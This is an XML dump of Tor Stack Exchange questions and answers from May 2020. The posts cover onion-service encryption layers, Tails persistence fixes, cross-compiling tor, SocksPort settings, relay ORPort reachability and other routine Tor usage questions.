  <row Id="21183" PostTypeId="2" ParentId="21181" CreationDate="2020-05-05T22:04:53.013" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I believe the traffic is encrypted 8 times (not including the TLS link crypto): 3 times along the client's circuit, 4 times along the onion service's circuit, and once more for the end-to-end encryption from the rendezvous handshake.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client ─── A ─── B ─── C ─── Z ─── Y ─── X ─── Onion&#xA;   │       ^     ^    ^ ^    ^     ^     ^       │&#xA;   └───────┴─────┴────┘ └────┴─────┴─────┴───────┘&#xA;   |                                             ^&#xA;   └─────────── rendezvous handshake ────────────┘&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The introduction point (the relay where you first contact the onion service) can generally not tell which onion service you're connecting to, but I'm not sure if malicious relays can learn some information if it already has the current descriptor for the service you're connecting to. In this case maybe it could perform a reverse lookup in its known descriptors for the service key / introduction point authentication key? In any case this doesn't harm the users anonymity, but could possibly allow the relay to measure a service's popularity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-05-18T19:34:48.027" LastActivityDate="2020-05-18T19:34:48.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21184" PostTypeId="2" ParentId="21050" CreationDate="2020-05-05T22:24:07.017" Score="0" Body="&lt;p&gt;This is a known issue, check out this dedicated documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/support/known_issues/index.en.html#index16h2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/support/known_issues/index.en.html#index16h2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Persistent folder disappears and data of the Persistent Storage is unavailable&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sometimes, the &lt;em&gt;Persistent&lt;/em&gt; folder is missing and all the data of the Persistent Storage is unavailable.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most likely this means that the &lt;code&gt;persistence.conf&lt;/code&gt; file has disappeared. However, the files in the &lt;em&gt;Persistent&lt;/em&gt; folder and all the other data in the Persistent Storage should still exist.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you encounter this problem:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Unlock the Persistent Storage in the Welcome Screen when starting Tails.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Choose &lt;strong&gt;Applications&lt;/strong&gt; ▸ &lt;strong&gt;Tails&lt;/strong&gt; ▸ &lt;strong&gt;Configure persistent volume&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;If you are asked to enter a passphrase, enter the same passphrase that you use to unlock your Persistent Storage.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Turn on the features of the Persistent Storage that you had turned on previously.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Save&lt;/strong&gt;, then restart Tails.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Your Persistent folder and all the data of the Persistent Storage should be restored.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the above instructions do not fix the problem, you might need to fix the ownership of &lt;code&gt;TailsData_unlocked&lt;/code&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To fix the ownership of &lt;code&gt;TailsData_unlocked&lt;/code&gt;, set an administration password and execute the following command in a terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown root:root /live/persistence/TailsData_unlocked`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="24966" LastEditDate="2020-05-09T23:38:01.930" LastActivityDate="2020-05-09T23:38:01.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21186" PostTypeId="2" ParentId="21171" CreationDate="2020-05-06T06:44:29.323" Score="1" Body="&lt;p&gt;I did the experiment suggested by @Steve in the comments. Spins up a simple http server on my Android phone, setup Orbot to expose it as a hidden service and written a script to periodically send request to the hidden service. Then just use my phone as usual. Browsing, streaming, play games and what not. And I did what I do usually: cycling, go to work, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3 day experiment, all requests are responded. It works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But do note that I live in a city and in University dorm. So my results may not apply to yours.&lt;/p&gt;&#xA;" OwnerUserId="30201" LastActivityDate="2020-05-06T06:44:29.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21189" PostTypeId="1" CreationDate="2020-05-07T21:34:12.730" Score="0" ViewCount="213" Body="&lt;p&gt;Whenever I access a site on TOR browser, I encounter these reCaptchas that are very tedious, repetitive, and long. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Chrome open as well, I use a VPN, I've tried turning up and down the security level. Those were all solutions I've seen but never worked for me. Google throws like 100 puzzles at me to solve, and when I solve them correctly, Google tells me to try again and it's been driving me INSANE lately. How do I resolve this WITHOUT complicated things like Exit Nodes?&lt;/p&gt;&#xA;" OwnerUserId="30225" LastActivityDate="2020-05-07T21:34:12.730" Title="How to decrease or completely get rid of reCaptchas" Tags="|captcha|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21190" PostTypeId="2" ParentId="12315" CreationDate="2020-05-07T22:30:38.043" Score="0" Body="&lt;p&gt;Only the brightest minds know how to accomplish this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have to keep in mind is that Tails only run as an ISO 9660 which is a fancy term for cd/dvd - Read Only Memory (ROM).  However you may or may not know that ISO 9660 can be installed on any partition of any storage.  So for example, I installed Tails on a partition on my laptop hard drive.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you need to understand is that information flow in tails is designed to be directional and not bi-directional; information flows forward only.&#xA;So for example when you save changes on tail's persistent storage; tails boots its system and then loads your changes; thus removal of a package in this context is only denying access to said app because the iso cannot be altered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the brightest minds will tell you then why don't you just make the changes you want and create a new iso, and then install that iso onto whatever partition you had the previous iso on?  Luckily there is a tool that accomplishes just that and it is called Refracta Snapshot though installing it may be a pain in the rear, once installed it will stay installed because you are going to create a new iso with it.  You can then remove many gnome components (careful not to touch networking stuff since Tails will undoubtedly be picky about that).  Things you could remove are gnome-session, gnome-shell, gvfs, gdm (if you install pcmanfm-qt or spacefm).  You could then install icewm, and likely get icewm-session running and your whole system will likely use 300MB of ram or less instead of the default 1GB.  This is all with a lot of tinkering and requires well practiced linux hands. &lt;/p&gt;&#xA;" OwnerUserId="30226" LastActivityDate="2020-05-07T22:30:38.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21191" PostTypeId="1" AcceptedAnswerId="21196" CreationDate="2020-05-09T19:32:19.127" Score="0" ViewCount="708" Body="&lt;p&gt;Is this even possible? Can a Tor binary file be compiled to work on Linux, Windows, OSX, iOS, and Android? We would like to package the binary file so we can launch Tor from our application. Could we build Tor from source on a Linux computer for the different CPU architectures? Is the Tor binary all we need? We currently have the application working on a Linux computer by copy-and-pasting the Tor binary to a different folder than the one installed on the computer and launch Tor from there with a custom &lt;code&gt;torrc&lt;/code&gt;. Is the binary reading other files on our computer to launch, or can just this one binary file be packaged and it will at least work on other Linux computers that match the same CPU architecture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there official documentation about this process anywhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerDisplayName="user30237" LastActivityDate="2021-02-14T05:13:10.360" Title="How to compile Tor binary for different CPU architectures to include in a cross-platform application?" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21192" PostTypeId="1" CreationDate="2020-05-09T20:26:14.037" Score="1" ViewCount="1078" Body="&lt;p&gt;Socksv5, SOCKS HOST 127.0.0.1, Port 9050&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this Network Setting with Mozilla Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even though i use different Useragents for each Firefox Profile, &#xA;through the configuration of the about:config, does it not change the Ip Adress.&lt;/p&gt;&#xA;" OwnerUserId="30200" LastEditorUserId="30200" LastEditDate="2020-05-11T00:52:37.003" LastActivityDate="2022-02-02T20:02:10.257" Title="Can i use different SocksPorts than 9050?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21193" PostTypeId="1" CreationDate="2020-05-09T21:47:47.937" Score="0" ViewCount="339" Body="&lt;p&gt;Say you want to post on an imageboard anonymously. Well, I did that and while it worked, however it says &quot;required permissions not granted, reverting to the system file picker&quot; when I browsed my photos on there. What does this mean? Does it mean that people (such as the website owner) gain access to my camera roll that way? Also, are there any exploits on Tor that target this?&lt;/p&gt;&#xA;" OwnerUserId="30238" LastActivityDate="2022-03-05T22:03:45.367" Title="A question about the security on Tor (Android)" Tags="|tor-browser-bundle|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21194" PostTypeId="2" ParentId="21193" CreationDate="2020-05-09T22:24:59.943" Score="0" Body="&lt;p&gt;That is nothing to worry about. That message appears if you try to upload a file but the browser does not have permission to access the camera or microphone. Instead it will only allow you to upload existing files through the default file picker. The website owner does not get access to your camera roll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details see: &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1538270&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=1538270&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-09T22:24:59.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21195" PostTypeId="2" ParentId="21192" CreationDate="2020-05-09T22:37:29.133" Score="1" Body="&lt;p&gt;Yes you can change the socks port, and you must change it in both your tor configuration and in your browser configuration. The user agent has nothing to do with the IP of your exit node, and if you change this you're probably making yourself easily fingerprintable. Tor uses per-socks-port stream isolation so you can use multiple socks ports, but it's probably easier to use a single socks port but with a different username for each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason you're not using the Tor Browser? It is specifically designed to take care of these things for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details about Tor's configuration file, see the following two links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/tbb/tbb-editing-torrc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/tbb-editing-torrc/&lt;/a&gt; (for the Tor Browser)&lt;br&gt;&#xA;&lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't already using a configuration file, you should make a new one somewhere with the desired settings, and then start tor using &lt;code&gt;tor -f path/to/torrc&lt;/code&gt; You can find details about the &lt;code&gt;SocksPort&lt;/code&gt; setting &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-05-10T06:05:12.207" LastActivityDate="2020-05-10T06:05:12.207" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21196" PostTypeId="2" ParentId="21191" CreationDate="2020-05-09T23:00:45.353" Score="0" Body="&lt;p&gt;I don't think there is official documentation on cross-compiling tor, but it should be possible for most platforms (not sure about &lt;a href=&quot;https://github.com/iCepa/Tor.framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;iOS&lt;/a&gt;). I don't know specifically what steps to take, but you might get ideas if you ask on #tor on the OFTC IRC channel if you don't get an answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor by default dynamically links to other libraries such as OpenSSL and Libevent. These can be statically linked instead using the &lt;code&gt;--enable-static-openssl&lt;/code&gt; and &lt;code&gt;--enable-static-libevent&lt;/code&gt; options for the configure script. There will be other libraries dynamically linked as well, and you can see these by running &lt;code&gt;ldd tor&lt;/code&gt; on the tor binary. Typically if you statically link Libevent and OpenSSL, the tor binary should run on any similar Linux systems with the same architecture, but it's not guaranteed to run on all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, if you download the Tor Browser for Linux, the &lt;code&gt;tor-browser/Browser/TorBrowser/Tor&lt;/code&gt; directory contains the &lt;code&gt;tor&lt;/code&gt; binary as well as the three libraries &lt;code&gt;libcrypto.so.1.1&lt;/code&gt;, &lt;code&gt;libevent-2.1.so.6&lt;/code&gt;, and &lt;code&gt;libssl.so.1.1&lt;/code&gt;. Running &lt;code&gt;ldd tor&lt;/code&gt; shows that it is dynamically linked to a few other standard libraries as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ldd tor&#xA;    linux-vdso.so.1 (0x00007fff809ff000)&#xA;    libz.so.1 =&amp;gt; /lib/x86_64-linux-gnu/libz.so.1 (0x00007fd2a7bfc000)&#xA;    libm.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd2a785e000)&#xA;    libevent-2.1.so.6 =&amp;gt; /usr/lib/x86_64-linux-gnu/libevent-2.1.so.6 (0x00007fd2a760d000)&#xA;    libssl.so.1.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007fd2a7380000)&#xA;    libcrypto.so.1.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007fd2a6eb5000)&#xA;    librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007fd2a6cad000)&#xA;    libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd2a6aa9000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd2a66b8000)&#xA;    libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd2a6499000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007fd2a8370000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not very familiar with other platforms as I only build tor for Linux. I'm not sure why the TBB team doesn't statically link libssl, libcrypto, and libevent on Linux, but that would be a good question to ask them on either #tor-dev IRC or the tor-dev mailing list. The geoip and geoip6 files are databases for linking relay IP addresses to approximate locations, and obfs4proxy is a binary that allows Tor users to connect to the network through bridges that support &lt;a href=&quot;https://gitlab.com/yawning/obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfs4&lt;/a&gt;. This is a separate optional program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OnionBrowser recently changed to use tor from the iCepa project. I think iOS is tricky because you cannot fork and run a separate process, so you need to bundle tor as a library rather than running it directly. Tor itself isn't designed this way, so &lt;a href=&quot;https://github.com/iCepa/Tor.framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;iCepa's Tor.framework&lt;/a&gt; has done some extra stuff to make this work. As for Android, I think Briar gets their tor binary from &lt;a href=&quot;https://github.com/guardianproject/tor-android&quot; rel=&quot;nofollow noreferrer&quot;&gt;the guardian project's Android build&lt;/a&gt; which originally came from Orbot. You might also want to look into how the official Tor Browser for Android bundles tor into their app (I think it's &lt;a href=&quot;https://gitweb.torproject.org/tor-android-service.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-05-10T20:54:33.280" LastActivityDate="2020-05-10T20:54:33.280" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21198" PostTypeId="1" CreationDate="2020-05-10T07:52:21.830" Score="4" ViewCount="155" Body="&lt;p&gt;thanks so much for your work. Ive just started using TOR, and need some basic help, aside from the excellent FAQs. I've tried using OFTC as recommended, but it wouldn't verify my nickname etc. (I've emailed them for help there)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know a couple things before I dive right into TOR (esp re password manager)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not a journalist, protestor, political activist, criminal, etc etc- just an ordinary user of web, genuinely concerned about digital privacy, security, rights, not just for myself, or individuals but as to how the global digital landscape is being shaped and all the human, political, social etc consequences play out. I guess im trying to align with the &quot;good guys&quot;! &#xA;Something like that.&#xA;Hence I love TOR, EFF, DRW in Australia, Intercept, Snowden etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please direct me to the right place to ask my &quot;new guy&quot; questions? I'll put them here below as best I can.&#xA;Kindly&#xA;Mark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Is it safe to import safari bookmarks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- I use Bitwarden password manager on safari and chrome. Is it safe/good to use Bitwarden in TOR?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- I use Nordvpn, and I know one ought not use any vpn with TOR. This may cause an issue when I need to use (for example) safari and TOR at the same time for some reason. Is there a way around this? (I've been turning the vpn off and on as required when switching between browsers erk...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4- I know one shouldn't use any browser extensions. So to clarify: using TOR automatically eliminates the need for any of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5- Is there any point using TOR on my MacBook, but not on my iPhone? if im using it on one but not the other, doesn't that invalidate it or at least undermine any benefits I might gain? I see theres is onion for iOS , but seems tricky to use. &lt;/p&gt;&#xA;" OwnerDisplayName="user30240" LastEditorDisplayName="user30240" LastEditDate="2020-05-10T07:58:06.437" LastActivityDate="2020-10-07T10:02:20.263" Title="tor new user help please" Tags="|tor-browser-bundle|safari|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21199" PostTypeId="2" ParentId="21198" CreationDate="2020-05-10T09:01:59.360" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes, Bookmarks are safe. Bookmark files are just simple html.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;2,4 Why are browser extensions not suggested for Tor Browser? a. Because you want to fit in with all other Tor users. You want to be as anonymous as possible. If a website sees that your browser configuration is slightly different than other users because of a browser extension, the that's a way for that website to see you as different. You will still be anonymous but you won't blend in with all the other Tor Browser users. b. Without thorough testing you can't be sure that some random browser extension won't just give away your data anyway either because it is badly written or through malware. Maybe the Bitwarden extension does neither and you're 100% safe. Cool, but nobody can suggest that you use it without knowing for sure.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;At best using Tor Browser with a VPN hides the fact that you are using Tor from your internet service provider instead your VPN provider sees that instead. At worst, if your VPN provider logs what you do including the fact that you are using Tor. (They may say that they don't, but do you trust them?) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How important is your anonymity to you? Do you go to the same website every day using both which negates using Tor? The Tor Project does not have an app for iOS because of some of their restrictions without jailbreaking your phone. They do &lt;a href=&quot;https://www.torproject.org/download/#android&quot; rel=&quot;nofollow noreferrer&quot;&gt;suggest&lt;/a&gt; that you try &lt;a href=&quot;https://apps.apple.com/us/app/onion-browser/id519296448&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Browser&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-10T09:01:59.360" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21203" PostTypeId="1" CreationDate="2020-05-12T01:02:22.693" Score="0" ViewCount="114" Body="&lt;p&gt;This is a cross post from my &lt;a href=&quot;https://stackoverflow.com/questions/61723680/integrating-tor-and-python-to-get-the-same-circute&quot;&gt;StackOverFlow&lt;/a&gt; question(also I little edited).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, my question is quite straightforward:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use Python to make automated requests with &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt; (or any other library which interacts with Tor making new circuits for automation) and then use the same circuit that I used for automation in Python in the &lt;em&gt;Tor Browser&lt;/em&gt; for manual work (e.g. filling forms or captchas).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main requirements is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First using a programming language(preferable Python) to &lt;em&gt;create new circuits&lt;/em&gt; for some automated work.&lt;/li&gt;&#xA;&lt;li&gt;Then using the &lt;em&gt;Tor Browser with the same circuit&lt;/em&gt; that I used with Python to do manual work. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know there are &lt;em&gt;messy ways&lt;/em&gt; around it but still I am quite stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the part I am stuck is getting the same circuit: I know you can use Tor with &lt;a href=&quot;https://www.ghacks.net/2018/11/26/can-you-use-the-tor-browser-without-tor-connection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TOR_TRANSPROXY&lt;/code&gt; and &lt;code&gt;TOR_SKIP_LAUNCH&lt;/code&gt;&lt;/a&gt;, but what should do to allow the circuit made in Python with &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt; to work with on the Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only workaround I see is to create a proxy in Python after doing the automated stuff with &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt;, then route it through the OS proxy settings and then using Tor with &lt;a href=&quot;https://www.ghacks.net/2018/11/26/can-you-use-the-tor-browser-without-tor-connection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TOR_TRANSPROXY&lt;/code&gt; and &lt;code&gt;TOR_SKIP_LAUNCH&lt;/code&gt;&lt;/a&gt; to get the same circuit, but again its &lt;em&gt;too messy&lt;/em&gt; and lots of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a better way to do this, if I am right it should have something to do with &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt; and the Tor browser, or do I have to go the &lt;em&gt;messy way&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dex Devlon.&lt;/p&gt;&#xA;" OwnerUserId="30250" LastActivityDate="2020-05-12T01:02:22.693" Title="Integrating Tor Browser and Python to get the same circute" Tags="|tor-browser-bundle|circuit|python|stem|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21204" PostTypeId="1" AcceptedAnswerId="21207" CreationDate="2020-05-12T08:16:52.880" Score="1" ViewCount="830" Body="&lt;p&gt;I am running a wordpress blog and in the clear net and I want for it to be accessible from Tor as well. Kinda like how Facebook has both a normal and a onion address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the one way to do that is to run a clone of your website at the same time, just with a different address. That however is very resource heavy. Are there any other ways?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, tips or suggestions greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28802" LastActivityDate="2023-09-29T12:23:07.603" Title="Configuring my website with both a clearnet and a onion address" Tags="|ip-address|clear-net|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21207" PostTypeId="2" ParentId="21204" CreationDate="2020-05-12T18:15:00.267" Score="0" Body="&lt;p&gt;Here's the problem. There is nothing stopping you from adding an onion service to a normal webserver. However, what about the links on your page? If your Tor users click on a link will it take them to an .onion page or to a clearnet page and vice versa. This is why it is best to run websites in parallel. If you are awesome at writing Wordpress plugins, you might be able to set up some kind of &quot;smart&quot; plugin that will present a different copy of each page depending on if the user is using Tor or nor otherwise it is best to run two copies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VPS servers are super cheap. If running two instances of wordpress is &quot;very resource heavy&quot; then you might want to find a better provider.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-12T18:15:00.267" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21208" PostTypeId="1" CreationDate="2020-05-13T18:24:53.593" Score="0" ViewCount="2242" Body="&lt;p&gt;After I have installed Tails I tried to open Tor browser from Tails but first I got the message that Tor browser was not yet ready. After I tried to open it anyway (as the option is provided) I got the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy server is refusing connections.&#xA;Firefox is configured to use a proxy server that is refusing connections.&#xA;- Check the proxy settings to make sure that they are correct&#xA;- Contact your network administrator to make sure the proxy server is working&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no Firefox installed on my computer.&lt;/p&gt;&#xA;" OwnerUserId="30262" LastActivityDate="2022-11-25T06:04:55.547" Title="Tor browser not opening from Tails" Tags="|tor-browser-bundle|tails|proxy|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21210" PostTypeId="1" CreationDate="2020-05-14T00:55:08.147" Score="0" ViewCount="498" Body="&lt;p&gt;I've setup a middle relay on ubuntu (virtual machine) and a bridge on Windows. However, on both OS's I'm facing the same issue as mentioned in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bridge relay, I've opened the ports in the firewall but the issue stays the same. Similary, opened ORPort (443) for middle relay in Ubuntu using ufw command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've wasted so much time on this and I can't get these relays running. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname demorelay&#xA;ContactInfo tor(dot)relay(dot)cn2020(at)gmail(dot)com     &#xA;#logs&#xA;Log notice file /var/log/tor/log&#xA;Log debug file /var/log/tor/debug.log   &#xA;RelayBandwidthRate 1 MBits&#xA;RelayBandwidthBurst 1 MBits&#xA;AccountingStart month 1 00:00&#xA;AccountingMax 0 GB&#xA;DisableDebuggerAttachment 0&#xA;ControlPort 9051&#xA;CookieAuthentication 1   &#xA;ORPort 443 NoListen&#xA;ORPort 127.0.0.1:9090 NoAdvertise&#xA;ExitRelay 0&#xA;SOCKSPort 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the log file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 14 05:30:09.000 [notice] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;May 14 05:30:09.000 [notice] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;May 14 05:30:09.000 [notice] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;May 14 05:30:09.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;May 14 05:30:10.000 [notice] Bootstrapped 100% (done): Done&#xA;May 14 05:30:10.000 [notice] Now checking whether ORPort x.x.x.x:443 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;May 14 05:31:29.000 [notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 101 buildtimes.&#xA;May 14 05:50:07.000 [warn] Your server (x.x.x.x:443) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30265" LastActivityDate="2020-11-03T16:34:54.370" Title="TOR ORPort Unreachable" Tags="|relays|network-configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21213" PostTypeId="1" CreationDate="2020-05-15T10:37:31.473" Score="0" ViewCount="160" Body="&lt;p&gt;If we talk about .onion sites only, can the bad nodes see the part of site's link? Like &quot;example.onion/&quot; or full link like &quot;example.onion/user404/data/page/example123.txt&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't talk about IP of site, cause I know that find IP itself is very difficult for attackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tor documentation indicated, .onion traffic always stays inside the Tor network and protected from attackers. But I still have some doubts about it. So, if 2 nodes like bridge and exit are bad, .onion V2/V3 user /user404/ is theoretically de-anonymised, right?&lt;/p&gt;&#xA;" OwnerUserId="30272" LastEditorUserId="31632" LastEditDate="2021-07-05T16:35:18.017" LastActivityDate="2022-04-01T18:05:25.477" Title="Can the attacker's malicious node see the full link of .onion sites users have access to?" Tags="|onion-services|onion-routing|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
